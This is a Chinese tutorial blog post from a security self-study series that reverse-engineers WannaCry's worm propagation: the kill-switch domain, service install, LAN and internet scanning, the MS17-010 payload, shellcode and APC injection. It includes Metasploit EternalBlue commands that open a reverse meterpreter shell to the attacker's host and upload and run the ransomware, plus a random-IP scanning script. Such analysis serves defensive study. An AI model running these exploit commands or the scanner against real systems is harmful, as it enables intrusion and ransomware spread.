您的位置: 首页 >  理论基础 >  计算机网络

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向

2020-04-27 19:26 1771 查看

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了宏病毒相关知识,包括宏病毒基础原理、防御措施、自发邮件及APT28样本分析。这篇文章作者将继续分析WannaCry勒索病毒,主要通过IDA和OD逆向分析蠕虫传播部分,详细讲解蠕虫是如何感染传播的。同时,由于作者技术真的菜,只能叙述自己摸索的过程,如果存在错误或不足之处,还望告知。希望这篇基础性文章对您有所帮助~

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

文章目录

  • 一.WannaCry背景
  • 二.WannaCry实验复现
  • 三.WannaCry基础分析
  • 四.WannaCry传播机制详解
  • 1.WannaCry蠕虫传播步骤
  • 2.连接域名
  • 3.安装和启动mssecsvc2.0服务
  • 4.局域网和外网传播
  • 5.利用SMB漏洞
  • 6.Payload分析
  • 7.ShellCode提取
  • 8.APC注入
  • 9.释放勒索程序
  • 五.总结
  • PS:本文参考了github、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

    作者的github资源:
    软件安全: https://github.com/eastmountyxz/Software-Security-Course
    其他工具: https://github.com/eastmountyxz/NetworkSecuritySelf-study
    Wannacry分析: https://github.com/eastmountyxz/WannaCry-Experiment


    声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

    前文学习:
    [网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
    [网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
    [网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
    [网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
    [网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
    [网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
    [网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
    [网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
    [网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
    [网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
    [网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
    [网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
    [网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
    [网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
    [网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
    [网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
    [网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
    [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
    [网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
    [网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
    [网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
    [网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
    [网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
    [网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
    [网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
    [网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
    [网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
    [网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
    [网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
    [网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
    [网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
    [网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
    [网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
    [网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
    [网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
    [网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
    [网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
    [网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
    [网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
    [网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
    [网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
    [网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
    [网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
    [网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
    [网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
    [网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
    [网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
    [网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
    [网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
    [网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
    [网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
    [网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
    [网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
    [网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
    [网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
    [网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
    [网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
    [网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
    [网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
    [网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
    [网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
    [网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
    [网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
    [网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
    [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
    [网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
    [网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
    [网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
    [网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析


    前文欣赏:
    [渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
    [渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
    [渗透&攻防] 三.数据库之差异备份及Caidao利器
    [渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包


    一.WannaCry背景

    WannaCry应该称为蠕虫,而不是病毒,但大家习惯称其为WannaCry勒索病毒,这里提醒下。

    2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。

    WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。

    WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过SMB漏洞上传WannaCry勒索病毒等恶意程序。

    WannaCry利用永恒之蓝漏洞进行网络端口扫描攻击,目标机器被成功攻陷后会从攻击机下载WannaCry木马进行感染,并作为攻击机再次扫描互联网和局域网的其他机器,行成蠕虫感染大范围超快速扩散。

    木马母体为mssecsvc.exe,运行后会扫描随机IP的互联网机器,尝试感染,也会扫描局域网相同网段的机器进行感染传播,此外会释放敲诈者程序tasksche.exe,对磁盘文件进行加密勒索。木马加密使用AES加密文件,并使用非对称加密算法RSA 2048加密随机密钥,每个文件使用一个随机密钥,理论上不可攻破。同时@WanaDecryptor@.exe显示勒索界面。其核心流程如下图所示:

    WannaCry勒索病毒主要行为是传播和勒索。

    • 传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
    • 勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;内存加载加密器模块,加密执行类型文件,全部加密后启动解密器;解密器启动后,设置桌面背景显示勒索信息,弹出窗口显示付款账号和勒索信息

    二.WannaCry实验复现

    实验环境:

    • 攻击机:Kali-linux-2019.2 IP:192.168.44.138
    • 受害主机:Win7 64位 IP:192.168.44.147

    实验工具:

    • metasploit
    • MS17-010
    • Wcry.exe

    实验步骤:

    • 配置Kali、Windows7实验环境
    • Kali检测受害主机445端口(SMB协议)是否开启
    • 运行EternalBlue永恒之蓝漏洞(MS17-010)反弹shell
    • 上传勒索病毒wcry.exe并运行
    • 实现勒索和文件加密

    切记、切记、切记:实验复现过程中必须在虚拟机中完成,运行之前关闭虚拟机Win7文件共享,真机上一旦被感染你就真的只能想哭了(wannacry)。同时,该实验比上一篇文章精简很多,更推荐该方法。


    核心步骤:

    (1) 利用永恒之蓝漏洞并设置参数

    • use exploit/windows/smb/ms17_010_eternalblue
      利用永恒之蓝漏洞
    • set payload windows/x64/meterpreter/reverse_tcp
      设置payload
    • set LHOST 192.168.44.138
      设置本机IP地址
    • set RHOSTS 192.168.44.147
      设置受害主机IP
    • set RPORT 445
      设置端口445,注意该端口共享功能是高危漏洞端口,包括之前分享的139、3389等
    • exploit
      利用漏洞

    (2) 获取Win7系统管理员权限并上传勒索病毒

    • getuid
    • pwd、ls、shell
    • upload /root/wcry.exe c:\
    • wcry.exe


    (3) 成功完成勒索,系统文件被加密
    运行病毒程序后的界面如下图所示,已经成功被勒索。再次强调,所有代码必须在虚拟机中执行,并且关闭文件共享。


    加密系统中的文件,被加密的文件后缀名统一修改为“.WNCRY”。

    • b.wnry: 中招敲诈者后桌面壁纸
    • c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
    • f.wnry: 可免支付解密的文件列表
    • r.wnry: 提示文件,包含中招提示信息
    • s.wnry: zip文件,包含Tor客户端
    • t.wnry: 测试文件
    • u.wnry: 解密程序


    三.WannaCry基础分析

    接下来开始对WannaCry样本进行分析,恶意样本一定要在虚拟环境下做好保护措施再进行分析。通常拿到一个软件先试着运行软件,如果有帮助文档查阅帮助文档,熟悉软件的基本用法,接着尝试输入错误的注册码,观察错误提示。如果没有输入注册码的地方,要考虑是否是读取注册表或Key文件,这些可以用其他工具来辅助分析。


    第一步,调用PEiD检测程序是否加壳。
    拿到一个样本,先调用查壳软件检查程序是否加壳(如PeiD、FI),有壳的需要脱壳之后再调用OllyDbg分析调试,无壳的直接调用工具调试。具体过程如下,该病毒使用VC6无壳编写的。


    第二步,通过在线沙箱网站监测该病毒详情。

    • 病毒名称:Trojan-Ransom.Win32.Wanna.m
    • 所属家族:木马/勒索/蠕虫
    • 大小: 3514368 bytes
    • 修改时间: 2017年5月13日, 2:21:23
    • MD5: DB349B97C37D22F5EA1D1841E3C89EB4
    • SHA1: E889544AFF85FFAF8B0D0DA705105DEE7C97FE26
    • CRC32: 9FBB1227

    方法一:visualtool上传文件在线监测( https://www.virustotal.com/gui/home)


    方法二:微步在线沙箱搜索MD5( https://s.threatbook.cn/)

    多引擎监测信息如下:

    行为签名信息如下:

    静态信息如下:


    第三步,我们将“.exe”修改为“.zip”可以看到更为详细的信息。
    直接用资源工具看一下,发现是PK开头的,多半是个压缩文件了,导出来试试。样本的解压密码是WNcry@2ol7,通过资源工具也可以查看到。解压后的文件结构如下:

    msg文件夹下就是所有的语言包。

    其他文件内容如下,下一篇文章会详细介绍勒索原理。

    • b.wnry: 中招敲诈者后桌面壁纸
    • c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
    • f.wnry: 可免支付解密的文件列表
    • r.wnry: 提示文件,包含中招提示信息
    • s.wnry: zip文件,包含Tor客户端
    • t.wnry: 测试文件
    • u.wnry: 解密程序

    第四步,推荐安全厂商及大佬分析报告。

    为了更好帮助读者,作者将参考文献提前。下面给出下各大安全厂商及安全大佬对WannaCry蠕虫分析的文章,强烈推荐大家阅读,作者也吸取了它们的精华,在此感谢。

    • 安全厂商样本分析:
      [1] 安天针对勒索蠕虫“魔窟”(WannaCry)的深度分析报告
      [2] [分享] 勒索病毒WannaCry深度技术分析——详解传播、感染和危害细节 - 火绒安全
      [3] WannaCry勒索病毒详细解读 - 腾讯电脑管家
      [4] NSA Eternalblue SMB 漏洞分析 - 360核心安全
      [5] 针对WannaRen勒索软件的梳理与分析 - 安天

    • 安全大佬样本分析:
      [1] 对WannaCry的深度分析 - 鬼手56(勒索部分详解)
      [2] [原创]WannaCry勒索软件中“永恒之蓝”漏洞利用分析 - 展博
      [3] [原创]通过Wannacry分析内核shellcode注入dll技术 - dragonwang
      [4] [病毒分析]WannaCry病毒分析(永恒之蓝) - 小彩虹
      [5] WannaCry勒索病毒逆向和内网传播数据分析 - sec360zz
      [6] 首发 | Wannacry勒索软件母体主程序逆向分析(含临时解决方案自动化工具)- expsky
      [7] [原创]WannaCry深度详细分析报告(很细很深)- anhkgg


    四.WannaCry传播机制详解

    WannaCry蠕虫主要分为两个部分:蠕虫部分用于病毒传播,并释放出勒索病毒;勒索部分用于加密用户文件索要赎金。大家可能看到的很多样本都是没有传播部分代码或域名开关的。接下来是作者一点点的摸索,希望对您有所帮助,也欢迎批评和指正。


    1.WannaCry蠕虫传播步骤

    WannaCry运行的整体流程推荐安天公司的框架图,如下图所示:

    • 主程序文件利用漏洞传播自身,运行WannaCry勒索程序
    • WannaCry勒索程序释放tasksche.exe,对磁盘文件进行加密勒索
    • @WanaDecryptor@.exe显示勒索信息,解密示例文件


    其中,图中上半部分为WannaCry蠕虫的传播部分,该蠕虫通过网络进行传播,有自我复制和传播迅速等特点。传播步骤如下:

    • 连接远程域名
    • 安装并启动服务
    • 建立局域网或公网IP表,为每个IP依次创建线程
    • 尝试连接445端口,测试是否存在SMB漏洞
    • 如果存在漏洞,则发送包含动态库的Payload进行攻击
    • 执行shellcode并使用APC注入将生成的dll注入到进程lsass.exe
    • dll调用导出函数PlayGame,释放资源文件并保存为mssecsvc.exe执行,释放勒索程序tasksche.exe
    • 被攻击计算机继续使用MS17-010漏洞进行传播

    2.连接域名

    接着在虚拟机中用IDA Pro打开勒索病毒wcry.exe,进行静态分析。

    主程序运行后会先连接域名(KillSwitch):hxxp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

    • 如果该域名连接成功,则直接退出且不触发任何恶意行为
    • 如果该域名无法访问,则触发传播勒索行为

    目前该域名已被英国的安全公司接管,代码如下图所示:


    3.安装和启动mssecsvc2.0服务

    如果该域名无法访问,则安装mssecsvc2.0服务,服务的二进制文件路径为当前进程文件路径,参数为“-m security”。

    接着启动mssecsvc2.0服务,网络传播行为需要以服务启动才会触发。


    4.局域网和外网传播

    蠕虫服务启动后,如果目标主机445端口开启,则会利用MS17-010漏洞传播,传播分为局域网传播和外网传播。

    上图为火绒注释过版本,下图为作者利用IDA Pro分析原始wcry.exe的代码。

    (1) 局域网传播: 蠕虫根据用户内网IP,生成覆盖整个局域网网段表,然后循环依次尝试攻击。

    定位函数sub_407540如下。

    样本会首先判断是否处于内网环境,如果处于内网中则尝试对内网主机进行感染,进行判断内网 I P 段分别是:

    • 10.0.0.0 ~ 10.255.255.255
    • 172.16.0.0 ~ 172.31.255.255
    • 192.168.0.0 ~ 192.168.255.255


    (2) 公网传播:随机生成IP地址,尝试发送攻击代码。

    随机生成公网IP,然后尝试连接445端口,判断是否可以利用SMB漏洞(MS17-010)。

    下面给出一段安天的模拟IP代码,这段代码可供大家扫描IP使用。核心思想是通过随机数生成算法,生成4个随机数并拼接,再开线程进行漏洞利用。

    from win32api import *
    import random
    import time
    random.seed(GetCurrentThreadId() + time.time() + GetTickCount())
    firstTick = GetTickCount()
    
    while True:
    ip_1, ip_2, ip_3, ip_4 = 128, None, None, None
    flag1, flag2 = None, None
    while ip_1 == 128 or ip_1 >= 224:
    ip_1 = random.randint(0, 255)
    ip_2 = random.randint(0, 255)
    ip_3 = random.randint(0, 255)
    ip_4 = random.randint(0, 255)
    time.sleep(1)
    
    while ip_4 <= 255:
    print str(ip_1) + "." + str(ip_2) + "." + str(ip_3) + "." + str(ip_4)
    ip_4 += 1

    5.利用SMB漏洞

    主机IP地址探测成功后,会利用SMB漏洞(MS17-010)发起攻击。

    网络传播过程会建立Socket通信,并进行网络连接和传播。


    6.Payload分析

    样本在利用漏洞MS17-010获取目标主机权限后,并不会直接发送蠕虫自身到目标,而是发送一段经过简单异或加密后的Payload到目标机器中执行。Payload由shellcode和包含样本自身的dll组成,Payload分为64位与32位。

    Payload,中文“有效载荷”,指成功exploit之后,真正在目标系统执行的代码或指令。Shellcode,简单翻译“shell代码”,是Payload的一种,由于其建立正向/反向shell而得名。一个攻击代码发送的字节序列往往同时包含payload和shellcode代码。
    整个字节流一般包含两个部分:(1) 一个包含部分代码的字节序列,被送入目标计算机执行,辅助攻击机获得控制权,比如打开目标计算机上的端口或者建立一个通信信道。(2) 一个用于实现在目标主机上运行某个应用程序如cmd或者计算器(常用于poc–概念验证)等。

    那么,如何定位shellcode的起始位置呢?

    • 64位的Payload由长度为0x1800字节的shellcode与长度为0x50d800字节的dll组成,64位的shellcode部分截图如下:

    • 32位的Payload由长度为0x1305字节的shellcode与长度为0x506000字节的dll组成,32位的shellcode部分截图如下:

    Payload版本选择代码如下图所示:

    (1) 首先,需要读取Payload内容,其中64位大小为0xc8a4,32位大小为0x4060。

    (2) 调用sub_4072A0函数建立通信连接。

    (3) 根据目标机器系统的不同,读取不同版本的代码部分,再获取样本自身进行拼接得到完整的dll。dll同样分为64位与32位版本,由代码与样本自身两部分组成。

    • 64位的dll文件(代码部分长度0xc8a4字节):

    • 32位的dll文件(代码部分长度0x4060):


    7.ShellCode提取

    当IP地址和445端口开启确定后,需要利用SMB漏洞发送Payload。此时,Payload已经建立了通信连接,接下来需要提取ShellCode,这也是蠕虫传播干扰的核心部分,但也是最难的部分。作者至今也分析得不透彻,希望得到您的帮助,下面简单叙述当前的理解。

    看雪两位大佬说过:Wannacry的shellcode分三层,第一层的功能开一个后门,执行攻击者的后续命令;第二层、第三层一起完成注入dll的任务在执行其他操作。

    [原创]WannaCry勒索软件中“永恒之蓝”漏洞利用分析 - 展博
    [原创]通过Wannacry分析内核shellcode注入dll技术 - dragonwang

    它们的调用位置如下图所示:

    那么,怎么分析这些shellcode,如何在OD中提取机器码和连续的shellcode呢?如何定位Shellcode起始位置呢?感觉自己真的菜,求教~
    推荐作者github详细的WannaCry资源: https://github.com/eastmountyxz/WannaCry-Experiment

    第一种方法是通过IDA Pro定位shellcode位置,按C进行反汇编,如下图所示。

    第二种方法是在OD中定位,输入结果却是建立通信的过程。Payload通常由分析函数、建立通信(Send\Recv)、返回地址、shellcode组成,当漏洞触发时,该部分就是shellcode的起始位置,我们需要找到这个点。

    我们想要的shellcode类似如下图所示,但作者能力有限,后面继续深入吧!

    同时,作者提供另一个思路,前面讲解了永恒之蓝利用,这里我们获取它的Payload利用代码,发现里面的shellcode,如下图所示:

    然后复制这段shellcode代码至OD中,二进制粘贴,可以看到对应的汇编代码。

    如下图所示:


    8.APC注入

    漏洞利用成功后,执行shellcode并使用APC注入将生成的dll注入到进程lsass.exe。

    核心函数sub_406F50如下图所示:


    9.释放勒索程序

    dll具有一个导出函数PlayGame,它会将自身的资源文件(主程序)释放到被攻击的计算机,保存为C:\WINDOWS\mssecsvc.exe并执行。

    最后释放资源tasksche.exe(勒索加密功能)到C:\WINDOWS目录下,并将其启动。

    使用火绒剑检测结果如下图所示,看到释放的lsass.exe、mssecsvc.exe和tasksche.exe程序。

    被攻击的计算机包含蠕虫的完整功能,除了会被勒索,还会继续使用MS17-010漏洞进行传播,这种传播呈几何级向外扩张,也是该蠕虫短时间内大规模爆发的主要原因。


    五.总结

    写到这里,这篇文章就介绍完毕。主要讲解了WannaCry蠕虫的传播机制,后面作者会继续分享勒索部分的机理,希望您喜欢~

    这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。

    欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

    (By:Eastmount 2020-04-27 晚上6点写于贵阳 http://blog.csdn.net/eastmount/ )

    • 点赞 2
    • 收藏
    • 分享
    • 文章举报
    Eastmount 博客专家 发布了457 篇原创文章 · 获赞 6581 · 访问量 514万+ 他的留言板 关注
    内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
    标签: 
    相关文章推荐
    • [网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
    • [网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向破解
    • [网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
    • [网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析
    • [网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
    • [网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
    • [网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
    • [网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
    • [网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
    • [网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
    • [网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
    • [网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
    • [网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
    • [网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
    • SEAndroid安全机制对Binder IPC的保护分析
    • SEAndroid安全机制对Binder IPC的保护分析
    • [网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
    • Android软件安全与逆向分析——如何分析Android程序
    • 全面分析网络安全防御
    • 【托管服务qin】安全分析:DDoS攻击对移动网络安全的威胁
    新的分享
    • 【Java面试】TCP协议为什么要设计三次握手?
    • 深度学习与CV教程(11) | 循环神经网络及视觉应用
    • 又一起 BGP 劫持事件,影响全球 200 多家云服务和 CDN 提供商
    • 深度学习与CV教程(7) | 神经网络训练技巧 (下)
    • 网络协议之:haproxy的Proxy Protocol代理协议
    • Nginx实现https、重定向https
    • NLP教程(9) - 句法分析与树形递归神经网络
    • 艾瑞咨询:2020年中国疫情时期网络长视频内容价值回顾及探索
    • 每天一个 HTTP 状态码 206
    • 每天一个 HTTP 状态码 205
    • 每天一个 HTTP 状态码 204
    • 每天一个 HTTP 状态码 203
    章节导航

    两个鬼故事黑塔利亚第一季商标起名灵感人浮于事姜氏起名大全集女孩杭州千明文化科技有限公司起名网站海贼之天赋系统香港科技公司起名起名用歆字什么意思好吗饭店起名字起名大全免费名字大全2019法人以公司名义起诉康字起名李驰博客女孩春天出生起什么名字好听用木头起名方少女起名李起名大全集2022年正月的虎宝宝怎么起名孩子起名2021女孩姓范男孩子起什么名字爆肚店起名纽约原油武汉东方肝泰医院水利公司起名谁动了我的奶酪读后感土石方工程起名贵阳区号魔兽显血云字起名梓起名字有什么含义少年生前被连续抽血16次?多部门介入两大学生合买彩票中奖一人不认账让美丽中国“从细节出发”淀粉肠小王子日销售额涨超10倍高中生被打伤下体休学 邯郸通报单亲妈妈陷入热恋 14岁儿子报警何赛飞追着代拍打雅江山火三名扑火人员牺牲系谣言张家界的山上“长”满了韩国人?男孩8年未见母亲被告知被遗忘中国拥有亿元资产的家庭达13.3万户19岁小伙救下5人后溺亡 多方发声315晚会后胖东来又人满为患了张立群任西安交通大学校长“重生之我在北大当嫡校长”男子被猫抓伤后确诊“猫抓病”测试车高速逃费 小米:已补缴周杰伦一审败诉网易网友洛杉矶偶遇贾玲今日春分倪萍分享减重40斤方法七年后宇文玥被薅头发捞上岸许家印被限制高消费萧美琴窜访捷克 外交部回应联合利华开始重组专访95后高颜值猪保姆胖东来员工每周单休无小长假男子被流浪猫绊倒 投喂者赔24万小米汽车超级工厂正式揭幕黑马情侣提车了西双版纳热带植物园回应蜉蝣大爆发当地回应沈阳致3死车祸车主疑毒驾恒大被罚41.75亿到底怎么缴妈妈回应孩子在校撞护栏坠楼外国人感慨凌晨的中国很安全杨倩无缘巴黎奥运校方回应护栏损坏小学生课间坠楼房客欠租失踪 房东直发愁专家建议不必谈骨泥色变王树国卸任西安交大校长 师生送别手机成瘾是影响睡眠质量重要因素国产伟哥去年销售近13亿阿根廷将发行1万与2万面值的纸币兔狲“狲大娘”因病死亡遭遇山火的松茸之乡“开封王婆”爆火:促成四五十对奥巴马现身唐宁街 黑色着装引猜测考生莫言也上北大硕士复试名单了德国打算提及普京时仅用姓名天水麻辣烫把捣辣椒大爷累坏了

    两个鬼故事 XML地图 TXT地图 虚拟主机 SEO 网站制作 网站优化